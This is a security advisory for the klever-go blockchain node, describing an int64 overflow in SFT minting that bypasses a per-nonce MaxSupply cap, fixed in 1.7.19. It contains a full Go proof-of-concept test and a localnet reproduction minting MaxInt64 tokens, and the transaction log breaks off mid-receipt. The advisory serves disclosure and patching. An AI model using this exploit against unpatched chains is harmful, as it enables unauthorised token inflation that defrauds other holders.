GHSA-mrpp-v6pg-p54x klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply

• Go github.com/klever-io/klever-go: < 1.7.19 → fixed in 1.7.19

Summary On the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does `meta.Circulation += amount` with no overflow guard, then checks `if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps negative, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance credit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment `MintedValue Full Go PoC (systemAccount package, passes = bug confirmed) ```go package systemAccount import ( "math" "testing" "github.com/klever-io/klever-go/common" commonMock "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/tools/marshal" "github.com/stretchr/testify/require" ) func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) { t.Helper() marshalizer := &marshal.ProtoMarshalizer{} store := make(map[string][]byte) tracker := &commonMock.DataTrieTrackerStub{ RetrieveValueCalled: func(key []byte) ([]byte, error) { return store[string(key)], nil }, SaveKeyValueCalled: func(key []byte, value []byte) error { store[string(key)] = value return nil }, } kappAccount := &commonMock.KAppAccountHandlerStub{ DataTrieTrackerCalled: func() state.DataTrieTracker { return tracker }, } s := &systemAccountKApp{marshalizer: marshalizer} require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{ LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) { return kappAccount, nil }, })) return s, store } func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 { t.Helper() meta, err := s.SFTGetMeta(asset, nonce) require.NoError(t, err) require.NotNil(t, meta) return meta } // TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation // (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded // `meta.Circulation += amount`. With an amount near MaxInt64, Circulation // overflows int64 and wraps negative, so the signed cap check // `meta.Circulation > meta.MaxSupply` reads false and the function returns nil: // the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far // past the declared cap. func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) { asset := []byte("SFTASSET") nonce := []byte{0x01} const maxSupply = int64(1000) const startCirculation = int64(5) // amount is a raw int64 from the contract with no upstream upper bound; the // largest value it can carry is MaxInt64. With Circulation already at 5, // 5 + MaxInt64 overflows int64 and wraps negative. const overflowAmount = int64(math.MaxInt64) // 9223372036854775807 // --- setup: a nonce with a small FINITE MaxSupply and small Circulation --- s, _ := newExploitSystemAccountKApp(t) require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash"))) // seed an initial circulation of 5 (well within the cap) require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation)) before := readMeta(t, s, asset, nonce) require.Equal(t, maxSupply, before.MaxSupply) require.Equal(t, startCirculation, before.Circulation) t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation) // --- contrast: a normal over-cap amount IS correctly rejected --- // 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded. contrastErr := s.SFTAddCirculation(asset, nonce, 2000) require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded, "a non-overflowing over-cap mint must be rejected") // the rejected call must NOT have persisted (Circulation unchanged at 5) afterContrast := readMeta(t, s, asset, nonce) require.Equal(t, startCirculation, afterContrast.Circulation, "rejected over-cap mint must not persist new circulation") t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d", contrastErr, afterContrast.Circulation) // --- the exploit: amount near MaxInt64 overflows Circulation negative --- exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount) after := readMeta(t, s, asset, nonce) t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply) t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr) // (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded require.NoError(t, exploitErr, "BUG: overflowing mint should have been capped but returned nil (cap bypassed)") // (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000 require.Negative(t, after.Circulation, "BUG: Circulation must have overflowed to a negative value") // sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount. // Computed via non-constant vars so the deliberate overflow happens at runtime // (a constant expression would be rejected by the compiler). circ := startCirculation amt := overflowAmount expectedWrap := circ + amt // intentional int64 overflow at runtime require.Equal(t, expectedWrap, after.Circulation) t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+ "a real mint would have credited ~%d tokens with no matching debit.", maxSupply, after.Circulation, overflowAmount) } ``` On-chain reproduction (live single-node localnet) SFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds normally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh receiver, returned `resultCode Ok` with a `Transfer` receipt minting `MaxInt64` from the protocol mint address — no `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held nonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is specifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.) Setup mint — nonce 1 minted normally with amount=1 (hash 21e8059e…b55aad1a) ```json { "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a", "blockNum": 463, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg…